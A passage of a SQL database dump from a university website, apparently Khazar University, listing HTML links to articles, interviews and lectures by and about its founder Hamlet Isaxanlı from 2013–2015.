href=\"http://www.khazar.org/files/social/1/Q%C9%99rib%C9%99%20D%C3%BCnya%20v%C9%99%20Q%C9%99rib%C9%99%20Fikir%20D%C3%BCnyas%C4%B1%20(X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20Yanvar%202015).PDF\">Qəribə Dünya və Qəribə Fikir Dünyası (Xəzər Xəbər, Yanvar 2015)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/social/1/Texnopark--pozitiv-neqativ%20t%C9%99cr%C3%BCb%C9%99l%C9%99r%20v%C9%99%20realist%20bax%C4%B1%C5%9F%20(X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20Fevral%202015).pdf\">Texnopark--pozitiv-neqativ təcrübələr və realist baxış (Xəzər Xəbər, Fevral 2015)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/social/1/X%C9%99z%C9%99r%20X%C9%99b%C9%99r--H%C9%99yat%C4%B1m%C4%B1z%C4%B1n%2020%20ilinin%20g%C3%BCzg%C3%BCs%C3%BC%20(X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20Yanvar%202015).PDF\">Xəzər Xəbər--Həyatımızın 20 ilinin güzgüsü (Xəzər Xəbər, Yanvar 2015)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/social/1/X%C9%99z%C9%99r%20X%C9%99b%C9%99r--H%C9%99yat%C4%B1m%C4%B1z%C4%B1n%2020%20ilinin%20g%C3%BCzg%C3%BCs%C3%BC%20(X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20Yanvar%202015).PDF\"></a><a href=\"http://www.khazar.org/files/pdf/NewFolder/xeber_365.docx\">Yaradıcılıq Ehtirası Sevgidən Qat-Qat Böyükdür (Xəbər 365, 21.01.15; Xəzər Xəbər fevral 2015)</a></p><div> <br></div>'),(2279,1392,'en','Articles','Articles ',''),(2280,1393,'en','Interviews ','Interviews ',''),(2281,1393,'az','Müsahibələr','Müsahibələr','<div><br></div><p><a href=\"http://www.khazar.org/files/social/1/Ayd%C4%B1n%20Yol%20q%C9%99zeti%20il%C9%99%20m%C3%BCsahib%C9%99%20(6%20fevral%202015).docx\">Aydın Yol qəzeti ilə müsahibə (6 fevral 2015)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/social/1/Az%C9%99rbaycanda%20Ali%20T%C9%99hsilin%20%C4%B0nki%C5%9Faf%C4%B1%20v%C9%99%20D%C3%BCnya%20Reytinq%20C%C9%99dv%C9%99ll%C9%99ri%20(525-ci%20q%C9%99zet--16.01.2015%3B%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20Fevral%202015).pdf\">Azərbaycanda Ali Təhsilin İnkişafı və Dünya Reytinq Cədvəlləri (525-ci qəzet--16.01.2015; Xəzər Xəbər, Fevral 2015)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/social/1/G%C9%99l%C9%99c%C9%99y%C9%99%20ged%C9%99n%20yol%20d%C3%BC%C5%9F%C3%BCnc%C9%99dir%2C%20a%C4%9F%C4%B1ld%C4%B1r%20(Nasir%20jurnal%C4%B1%2C%20Noyabr-dekabr%2C%202015%3B%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20Yanvar%2C%202016).docx\">Gələcəyə gedən yol düşüncədir, ağıldır (Nasir jurnalı, Noyabr-dekabr, 2015; Xəzər Xəbər Yanvar, 2016)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/social/1/%C5%9E%C9%99rq%20q%C9%99zetin%C9%99%20m%C3%BCsahib%C9%99%2C%20(%C5%9E%C9%99rq%20q%C9%99zeti%2C%2026.02.2015%3B%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20mart-2015.pdf\">Şərq qəzetinə müsahibə, (Şərq qəzeti, 26.02.2015; Xəzər Xəbər, mart-2015&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/social/1/%D0%92%20%D0%9A%D0%B8%D1%82%D0%B0%D0%B5%20%D1%80%D0%B0%D1%81%D1%82%D0%B5%D1%82%20%D1%87%D0%B8%D1%81%D0%BB%D0%BE%20%D1%81%D1%82%D1%83%D0%B4%D0%B5%D0%BD%D1%82%D0%BE%D0%B2%20%D0%B8%D0%B7%20%D0%90%D0%B7%D0%B5%D1%80%D0%B1%D0%B0%D0%B9%D0%B4%D0%B6%D0%B0%D0%BD%D0%B0--(%D0%AD%D1%85%D0%BE%2C%2017.06.2015.%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20iyun-2015).docx\">В Китае растет число студентов из Азербайджана--(Эхо, 17.06.2015. Xəzər Xəbər, iyun-2015)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/social/1/%D0%92%20%D0%9A%D0%B8%D1%82%D0%B0%D0%B5%20%D1%80%D0%B0%D1%81%D1%82%D0%B5%D1%82%20%D1%87%D0%B8%D1%81%D0%BB%D0%BE%20%D1%81%D1%82%D1%83%D0%B4%D0%B5%D0%BD%D1%82%D0%BE%D0%B2%20%D0%B8%D0%B7%20%D0%90%D0%B7%D0%B5%D1%80%D0%B1%D0%B0%D0%B9%D0%B4%D0%B6%D0%B0%D0%BD%D0%B0--(%D0%AD%D1%85%D0%BE%2C%2017.06.2015.%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20iyun-2015).docx\"></a><a href=\"http://www.khazar.org/files/social/1/%D0%9E%D1%81%D1%82%D0%B0%D0%B2%D0%B8%D1%82%D1%8C%20%D1%82%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE%20%D1%81%D0%B0%D0%BC%D0%BE%D0%B5%20%D0%BD%D1%83%D0%B6%D0%BD%D0%BE%D0%B5.%20(%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%B2%D1%8C%D1%8E%20%D1%81%20%D0%93%D0%B0%D0%BC%D0%BB%D0%B5%D1%82%20%D0%98%D1%81%D0%B0%D1%85%D0%B0%D0%BD%D0%BB%D1%8B%20%D0%B8%20%D0%B4%D1%80%D1%83%D0%B3%D0%B8%D0%BC%D0%B8%20%D1%81%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D0%B8%D1%81%D1%82%D0%B0%D0%BC%D0%B8%20%D0%B2%20%D0%BE%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D0%B8%20%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F--%20%E2%80%9CX%C9%99z%C9%99r%20X%C9%99b%C9%99r%E2%80%9D%2C%20may-2015.docx\">Оставить только самое нужное. (Интервью с Гамлет Исаханлы и другими специалистами в области образования-- “Xəzər Xəbər”, may-2015</a></p><div> <br></div>'),(2282,1394,'en','Publications about Halmet Isakhanli','Publications about Halmet Isakhanli',''),(2283,1394,'az','Haqqında Yazılanlar','Haqqında Yazılanlar','<div><br></div><p><a href=\"http://www.khazar.org/files/social/1/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20G%C3%BCrc%C3%BCstan%20MEA-da%20m%C9%99ruz%C9%99si%20haqq%C4%B1nda%20(X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20Fevral%202015).pdf\">Hamlet İsaxanlının Gürcüstan MEA-da məruzəsi haqqında (Xəzər Xəbər Fevral 2015) </a> <br></p>'),(2284,1395,'az','2014','2014',''),(2285,1395,'en','2014','2014',''),(2286,1396,'az','Məqalələr','Məqalələr','<p><a href=\"http://www.khazar.org/files/founder/articles/JAS%20published%20Az%20views%20on%20America.pdf\">Wavering Azerbaijani Literati Views of America:&nbsp;From the Russian&nbsp;Tsarist through the Modern&nbsp;Periods&nbsp;--&nbsp;Journal of American Studies, Volume 48, Issue 3&nbsp;August 2014, pp. 839-871</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/NewFolder/Diversification_of_postsecondary_education_UNESCO.pdf\">Diversification of post-secondary education in Az--International Insitute for Educational Planning&nbsp;-- UNESCO 2014</a></p><p><a href=\"http://www.khazar.org/files/founder/articles/Hamlet_Isaxanl%C4%B1n%C4%B1n_Rusca-T%C3%BCrk%C3%A7e_Matematik_Sozl%C3%BCk-%C9%99_%C3%B6n_s%C3%B6z%C3%BC%2B2014.pdf\">Hamlet&nbsp;İsaxanlının&nbsp;Rusca-Türkçe&nbsp;Matematik&nbsp;Sozlük-ə&nbsp;ön&nbsp;sözü-2014&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/History_and_policy_of_Translating%2BPoetry--Azerbaijan_and_its_Neighbors.Meta_Translators\'_Journal._August_2014.pdf\">History&nbsp;and&nbsp;policy&nbsp;of&nbsp;Translating&nbsp;Poetry-Azerbaijan&nbsp;and its Neighbors. Meta Translators\' Journal. August 2014&nbsp;</a><a href=\"http://www.khazar.org/files/founder/articles/Irs_(Heritage)_3(18).Autmun_2014.pdf\"></a></p><p style=\"display:inline !important\"><a href=\"http://www.khazar.org/files/founder/articles/Irs_(Heritage)_3(18).Autmun_2014.pdf\">Political leaders and the\r\npublic-political ideals of\r\nMammad Amin Rasulzadeh --&nbsp;Payız&nbsp;2014</a></p><p><a href=\"http://www.khazar.org/files/founder/articles/İrs.Miras_2(10)--Yaz_2014.pdf\">Siyasi liderler ve Mehmet Emin Resulzade’nin sosyal ve siyasi idealleri --&nbsp;Yaz&nbsp;2014</a></p><p><a href=\"http://www.khazar.org/files/founder/articles/Maarifin_po%C3%A7t_adlar%C4%B1_(Poetik_T%C9%99rc%C3%BCm%C9%99)--Ayd%C4%B1n_Yol--24_okt_2014.docx\">Maarifin poçt adları (Poetik Tərcümə)--Aydın Yol&nbsp;--&nbsp;24 okt 2014&nbsp;</a></p>'),(2322,1414,'az','Mühazirələr','Mühazirələr',''),(2318,1412,'az','Mühazirələr','Mühazirələr','<p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture_1_(text)_2014.pdf\">1-ci mühazirə.Tarix, elm və fəlsəfə. Anlayışlar və ideyalar&nbsp;(mətn)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture_1_2014.pdf\">1-ci mühazirə.&nbsp;Tarix, elm və fəlsəfə. Anlayışlar və ideyalar (təqdimat)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture2(text)_2014.pdf\">2-ci mühazirə.&nbsp;Yunanlar. Elmi məktəblər (mətn)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture2_2014.pdf\">2-ci mühazirə.&nbsp;Yunanlar. Elmi məktəblər (təqdimat)</a>  <a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture2_2014.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/Lecture_3_Text_2014.pdf\">3-cü mühazirə.&nbsp;Pifaqorçu kainat modeli.&nbsp;Filolay (mətn)</a><br></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture%203_2014.pdf\">3-cü mühazirə.&nbsp;Kroton`lu Filolay/Philolaos (təqdimat)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture4(text)_2014.pdf\">4-cü mühazirə.&nbsp;Afina. Siyasi və mədəni mühit&nbsp;(mətn)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture4_2014.pdf\">4-cü mühazirə.&nbsp;Afina. Siyasi və mədəni mühit (təqdimat)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture5(text)_5014.pdf\">5-ci mühazirə.&nbsp;Platon və Platon Akademiyası&nbsp;(mətn)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP_Lecture_5_2014.pdf\">5-ci mühazirə. Platon və Platon Akademiyası  (təqdimat)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/PHD-Lecture-6_2014.pdf\">6-cı mühazirə.&nbsp;Platon`un müasirləri&nbsp;(mətn)</a><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture5(text)_5014.pdf\"></a><a href=\"http://www.khazar.org/files/founder/lectures/HSP--lecture%206_2014.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--lecture%206_2014.pdf\">6-cı mühazirə.&nbsp;Platon`un müasirləri (təqdimat)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/PhD-Lecture-7_2014.pdf\">7-ci mühazirə. Platon Akademiyası: Başlanğıc dövr, Riyaziyyat və Astronomiya (mətn)</a><br></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture%207_2014.pdf\">7-ci mühazirə.&nbsp;Akademiya. Başlanğıc. Riyaziyyat   (təqdimat)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/PhD-Lecture-8_2014.pdf\">8-ci mühazirə.  Aristotelin kosmoqoniya və kosmologiyası (mətn)</a><br></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture%208_2014.pdf\">8-ci mühazirə.&nbsp;Aristotelin\r\nkosmoqoniya/kosmologiyası (təqdimat)</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/founder/lectures/PhD-Lecture-9_2014.pdf\">9-cu mühazirə.  Aristotelin əxlaq fəlsəfəsi (Etika) (mətn)</a><br></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture%209_2014.pdf\">9-cu mühazirə.&nbsp;Aristotelin\r\nəxlaq fəlsəfəsi/etikası (təqdimat)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/PhD-Lecture-10_2014.pdf\">10-cu mühazirə. Dörd Afina məktəbi (mətn)</a><br></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture%2010_2014.pdf\">10-cu mühazirə.&nbsp;Dörd Afina məktəbi (təqdimat)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/PhD-Lecture-11_2014.pdf\">11-ci mühazirə.  Hellenistik dövr fəlsəfəsi haqqında (mətn)</a><br></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture%2011_2014.pdf\">11-ci&nbsp;mühazirə.&nbsp;Epikuros Bağı (təqdimat)</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/founder/lectures/PhD-Lecture-12_2014.pdf\">12-ci&nbsp;mühazirə.&nbsp;Evklid (mətn)</a><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture%2012_2014.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture%2012_2014.pdf\">12-ci&nbsp;mühazirə. Evklid və “Elementlər”  (təqdimat)</a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/PhD-Lecture-13_2014.pdf\">13-cü&nbsp;mühazirə.&nbsp;Astronom Aristarxos (mətn)</a><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture%2013_2014.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/founder/lectures/HSP--Lecture%2013_2014.pdf\">13-cü&nbsp;mühazirə. Aristarxos.&nbsp;Apollonius  (təqdimat)</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/founder/lectures/Tehsil_ve_Maliyye_nazirliklerinin_birge_toplantilarinda_2014.pdf\">Təhsil və Maliyyə nazirliklərinin birgə toplantılarında&nbsp;</a></p>'),(2287,1396,'en','Articles ','Articles ',''),(2288,1397,'az','Müsahibələr','Müsahibələr','<p><a href=\"http://www.khazar.org/files/founder/interviews/Amal%C4%B1ndan%20D%C3%B6nm%C9%99y%C9%99n%20F%C9%99dai--%C6%8Fl%C3%B6vs%C9%99t%20Osmanl%C4%B1%3B%20Qanun%202014.docx\">Amalından Dönməyən Fədai&nbsp;-&nbsp;Əlövsət Osmanlı; Qanun 2014</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Atilla%20Jurnal%C4%B1%20--May-%C4%B0yun%202014%2C%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20%C4%B0yun%202014.docx\">Zərif harmoniya hissi riyaziyyatçını bəstəkar, yaxud şairlə qohumlaşdırır --&nbsp;Atilla Jurnalı --May-İyun 2014, Xəzər Xəbər İyun 2014</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Day.az--Aprel%202014%3B%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20%C4%B0yun%202014.docx\">Гамлет Исаханлы: \"Баку стал бесподобным\" --&nbsp;Day.az--Aprel 2014; Xəzər Xəbər İyun 2014</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/%C4%B0p%C9%99k%20Yolu--May%202014%2C%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20%C4%B0yul%202014.docx\">Hamlet İsaxanlı: “Ali təhsil ocaqlari iş dünyasının ehtiyacını qarşılaya bilmirlər” --&nbsp;İpək Yolu--May 2014, Xəzər Xəbər İyul 2014</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Kaspi--Mart%202014%3B%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20Aprel%202014.docx\">“Fatma Abdullazadə başıma çempionluq tacını qoydu” – Mən gənc olarkən --&nbsp;Kaspi--Mart 2014; Xəzər Xəbər Aprel 2014</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Lent.az%20Fevral%202014%3B%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20Ferval%202014.docx\">Hamlet\r\nİsaxanlı ali təhsil islahatlarından danışdı: “Bu, hamının xeyrinədir” --&nbsp;  Lent.az Fevral 2014; Xəzər Xəbər Ferval 2014</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Modern.az%20Oktyabr%202014%3B%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20Noyabr%202014.docx\">Xəzər\r\nUniversitetinin rektoru: “Nazirlər Kabinetinin bizə acığı tutmuşdu”<strong>&nbsp;</strong>&nbsp;--&nbsp;Modern.az Oktyabr 2014; Xəzər Xəbər Noyabr 2014</a></p>'),(2289,1397,'en','Interviews ','Interviews ',''),(2290,1398,'az','Haqqında Yazılanlar','Haqqında Yazılanlar','<p><a href=\"http://www.khazar.org/files/founder/about/Hazana%20%C3%96vg%C3%BC--%C4%B0mdat%20Af%C5%9Far--K%C3%BClt%C3%BCr%20Sanat%20yay%C4%B1nc%C4%B1l%C4%B1k.%C4%B0stanbul%202014.pdf\">Hazana Övgü--İmdat Afşar--Kültür Sanat yayıncılık.İstanbul 2014</a></p><p><a href=\"http://www.khazar.org/files/founder/about/X%C9%99lil%20M%C9%99cido%C4%9Flu.%20M%C9%99n%20Sevm%C9%99yi%20Sevir%C9%99m--%20525-ci%20q%C9%99zet%20(08.01.2014)%3B%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20(yanvar%202014).PDF\">Xəlil Məcidoğlu. Mən Sevməyi Sevirəm-- 525-ci qəzet (08.01.2014); Xəzər Xəbər (yanvar 2014)</a></p>'),(2291,1398,'en','Publications about Halmet Isakhanli','Publications about Halmet Isakhanli',''),(2292,1399,'az','2013','2013',''),(2293,1399,'en','2013','2013',''),(2294,1400,'az','Məqalələr','Məqalələr','<p><a href=\"http://www.khazar.org/files/founder/interviews/B%C3%B6y%C3%BCk%20%C3%A7aylar%20q%C9%99rbd%C9%99n%20%C5%9F%C9%99rq%C9%99%20do%C4%9Fru%20ax%C4%B1r.%20%C3%87in%20v%C9%99%20Az%C9%99rbaycan.doc\">Böyük çaylar qərbdən şərqə doğru axır. Çin və Azərbaycan</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Dinl%C9%99rl%C9%99%20tan%C4%B1%C5%9Fl%C4%B1q%20nec%C9%99%20ba%C5%9F%20verir%20(kitaba%20%C3%B6n%20s%C3%B6z)%202013.doc\">Dinlərlə tanışlıq necə baş verir (kitaba ön söz) 2013</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/D%C3%BC%C5%9F%C3%BCnd%C3%BCr%C9%99n%20poeziya.docx\">Düşündürən poeziya </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Koro%C4%9Flu%20%C4%B0smixan%20%C9%99mi.doc\">Koroğlu İsmixan əmi </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/M%C9%99ntiq%20v%C9%99%20imtahan%20kitab%C4%B1.docx\">Məntiq və imtahan kitabı</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Platon%20v%C9%99%20Sevgi%20F%C9%99ls%C9%99f%C9%99si.pdf\">Platon və Sevgi Fəlsəfəsi </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Tan%C4%B1n%C4%B1m%C4%B1%C5%9F%20alim%20v%C9%99%20s%C9%99n%C9%99tkarlardan%20%C9%99lifba%20islahat%C4%B1%20t%C9%99klifin%C9%99%20reaksiyalar.docx\">Tanınımış alim və sənətkarlardan əlifba islahatı təklifinə reaksiyalar</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Z%C3%B6hr%C9%99%20%C6%8Fliyeva%20haqq%C4%B1nda.docx\">Zöhrə Əliyeva haqqında </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/%D0%92%D0%B5%D0%BB%D0%B8%D0%BA%D0%B8%D0%B5%20%D1%80%D0%B5%D0%BA%D0%B8%20%D1%82%D0%B5%D0%BA%D1%83%D1%82%20%D1%81%20%D0%B7%D0%B0%D0%BF%D0%B0%D0%B4%D0%B0%20%D0%BD%D0%B0%20%D0%B2%D0%BE%D1%81%D1%82%D0%BE%D0%BA.%20%D0%9A%D0%B8%D1%82%D0%B0%D0%B9%20%D0%B8%20%D0%90%D0%B7%D0%B5%D1%80%D0%B1%D0%B0%D0%B9%D0%B4%D0%B6%D0%B0%D0%BD.doc\">Великие реки текут с запада на восток. Китай и Азербайджан </a> <br></p>'),(2320,1413,'en','Lectures ','Lectures ',''),(2295,1400,'en','Articles ','Articles ',''),(2296,1401,'en','Interviews ','Interviews ','<p><a href=\"http://www.khazar.org/files/founder/interviews/Az%C9%99rbaycan_he%C3%A7_vaxt_y%C3%BCks%C9%99k_futbol_%C3%B6lk%C9%99si-olmay%C4%B1b--Futbol-Qol%20Q%C9%99zeti--16.05.13.docx\">Azərbaycan heç vaxt yüksək futbol ölkəsi olmayıb--Futbol-Qol Qəzeti--16.05.13</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Az%C9%99rbaycanda-Yeni-Akademiya----New-Bak%C4%B1-Post-19.01.13.docx\">Azərbaycanda Yeni Akademiya -- New Bakı&nbsp;Post 19.01.13</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/G%C3%BCn.az-%C4%B1n-G%C3%BCn%C3%BCn-adami-rubrikas%C4%B1n%C4%B1n-qona%C4%9F%C4%B1--H.Isaxanli-23.12.2103.docx\">Gün.az-ın Günün adamı rubrikasının qonağı--H.Isaxanli 23.12.2013</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet-Isaxanli-%C3%87ay%C4%B1m-soyudu--modern.az-a-m%C3%BCsahib%C9%99--01.03.13.docx\">Hamlet Isaxanlı&nbsp;Çayım soyudu--modern.az-a müsahibə--01.03.13</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/T%C9%99hsil%20oca%C4%9F%C4%B1n%C4%B1n%20ba%C5%9F%C4%B1nda%20duran%20%C3%B6z%C3%BC%20r%C3%BC%C5%9Fv%C9%99t%20almamal%C4%B1d%C4%B1r--Kaspi%20Q%C9%99zetin%C9%99%20m%C3%BCsahib%C9%99--12.02.13.docx\">Təhsil ocağının başında duran özü rüşvət almamalıdır--Kaspi Qəzetinə müsahibə--12.02.13</a><br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/X%C9%99z%C9%99r%20Texnopark%C4%B1%20Yaran%C4%B1r--New%20Baku%20Post-a%20m%C3%BCsahib%C9%99%2006.02.13.docx\">Xəzər Texnoparkı Yaranır--New Baku&nbsp;Post-a müsahibə 06.02.13</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Ziyal%C4%B1%20da%20g%C3%B6zl%C9%99yir%20ki%2C%20g%C3%B6r%C9%99s%C9%99n%20h%C3%B6k%C3%BCm%C9%99t%20ona%20n%C9%99%20ver%C9%99c%C9%99k.docx\">Ziyalı da gözləyir ki, görəsən hökümət ona nə&nbsp;verəcək&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/%D0%92%20%D0%B6%D0%B5%D0%BD%D1%89%D0%B8%D0%BD%D0%B5%20%D0%B4%D0%BE%D0%BB%D0%B6%D0%BD%D1%8B%20%D0%BF%D1%80%D0%B8%D1%81%D1%83%D1%82%D1%81%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%20%D0%BD%D0%B5%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D1%8C%20%D0%B8%20%D1%83%D0%BC%2C%20%D0%B2%20%D1%8D%D1%82%D0%BE%D0%BC%20%D1%81%D0%BB%D1%83%D1%87%D0%B0%D0%B5%20%D0%BE%D0%BD%D0%B0%20%D0%B1%D1%83%D0%B4%D0%B5%D1%82%20%D0%B8%20%D0%BA%D1%80%D0%B0%D1%81%D0%B8%D0%B2%D0%BE%D0%B9%2C%20lent.az%2C05.06.13.doc\">В женщине должны присутствовать нежность и ум, в этом случае она будет и красивой, lent.az,&nbsp;05.06.13</a></p>'),(2297,1401,'az','Müsahibələr','Müsahibələr','<p><a href=\"http://www.khazar.org/files/founder/interviews/Az%C9%99rbaycan_he%C3%A7_vaxt_y%C3%BCks%C9%99k_futbol_%C3%B6lk%C9%99si-olmay%C4%B1b--Futbol-Qol%20Q%C9%99zeti--16.05.13.docx\">Azərbaycan heç vaxt yüksək futbol ölkəsi olmayıb--Futbol-Qol Qəzeti--16.05.13</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Az%C9%99rbaycanda-Yeni-Akademiya----New-Bak%C4%B1-Post-19.01.13.docx\">Azərbaycanda Yeni Akademiya -- New Bakı Post 19.01.13</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/G%C3%BCn.az-%C4%B1n-G%C3%BCn%C3%BCn-adami-rubrikas%C4%B1n%C4%B1n-qona%C4%9F%C4%B1--H.Isaxanli-23.12.2103.docx\">Gün.az-ın Günün adamı rubrikasının qonağı--H.Isaxanli 23.12.2013</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet-Isaxanli-%C3%87ay%C4%B1m-soyudu--modern.az-a-m%C3%BCsahib%C9%99--01.03.13.docx\">Hamlet Isaxanlı Çayım soyudu--modern.az-a müsahibə--01.03.13</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/T%C9%99hsil%20oca%C4%9F%C4%B1n%C4%B1n%20ba%C5%9F%C4%B1nda%20duran%20%C3%B6z%C3%BC%20r%C3%BC%C5%9Fv%C9%99t%20almamal%C4%B1d%C4%B1r--Kaspi%20Q%C9%99zetin%C9%99%20m%C3%BCsahib%C9%99--12.02.13.docx\">Təhsil ocağının başında duran özü rüşvət almamalıdır--Kaspi Qəzetinə müsahibə--12.02.13</a><br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/X%C9%99z%C9%99r%20Texnopark%C4%B1%20Yaran%C4%B1r--New%20Baku%20Post-a%20m%C3%BCsahib%C9%99%2006.02.13.docx\">Xəzər Texnoparkı Yaranır--New Baku Post-a müsahibə 06.02.13</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Ziyal%C4%B1%20da%20g%C3%B6zl%C9%99yir%20ki%2C%20g%C3%B6r%C9%99s%C9%99n%20h%C3%B6k%C3%BCm%C9%99t%20ona%20n%C9%99%20ver%C9%99c%C9%99k.docx\">Ziyalı da gözləyir ki, görəsən hökümət ona nə verəcək </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/%D0%92%20%D0%B6%D0%B5%D0%BD%D1%89%D0%B8%D0%BD%D0%B5%20%D0%B4%D0%BE%D0%BB%D0%B6%D0%BD%D1%8B%20%D0%BF%D1%80%D0%B8%D1%81%D1%83%D1%82%D1%81%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%20%D0%BD%D0%B5%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D1%8C%20%D0%B8%20%D1%83%D0%BC%2C%20%D0%B2%20%D1%8D%D1%82%D0%BE%D0%BC%20%D1%81%D0%BB%D1%83%D1%87%D0%B0%D0%B5%20%D0%BE%D0%BD%D0%B0%20%D0%B1%D1%83%D0%B4%D0%B5%D1%82%20%D0%B8%20%D0%BA%D1%80%D0%B0%D1%81%D0%B8%D0%B2%D0%BE%D0%B9%2C%20lent.az%2C05.06.13.doc\">В женщине должны присутствовать нежность и ум, в этом случае она будет и красивой, lent.az,05.06.13</a><br></p>'),(2298,1402,'en','Publications about Halmet Isakhanli','Publications about Halmet Isakhanli',''),(2299,1402,'az','Haqqında Yazılanlar','Haqqında Yazılanlar','<p><a href=\"http://www.khazar.org/files/founder/about/Ayd%C4%B1nxan%20%C6%8Fbilovun%20Hamlet%20%C4%B0saxanl%C4%B1%20haqq%C4%B1nda.docx\">Aydınxan Əbilovun Hamlet İsaxanlı haqqında</a></p><p><a href=\"http://www.khazar.org/files/founder/about/%C6%8Fli%20Rza%20X%C9%99l%C9%99fli%20Hamlet%20%C4%B0saxanl%C4%B1%20haqq%C4%B1nda%2008.06.2013.doc\">Əli Rza Xələfli Hamlet İsaxanlı haqqında 08.06.2013 </a> <br></p>'),(2301,1404,'az','Mühəndislik və tətbiqi elmlər fakültəsinə yeni müəllimlər cəlb edildilər','Xəzər Universiteti və Şəhid Mədəni Universiteti arasında bağlanmış anlaşma memarandumuna əsasən Şəhid Mədəni Universitetinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universiteti və Şəhid Mədəni Universiteti\r\narasında 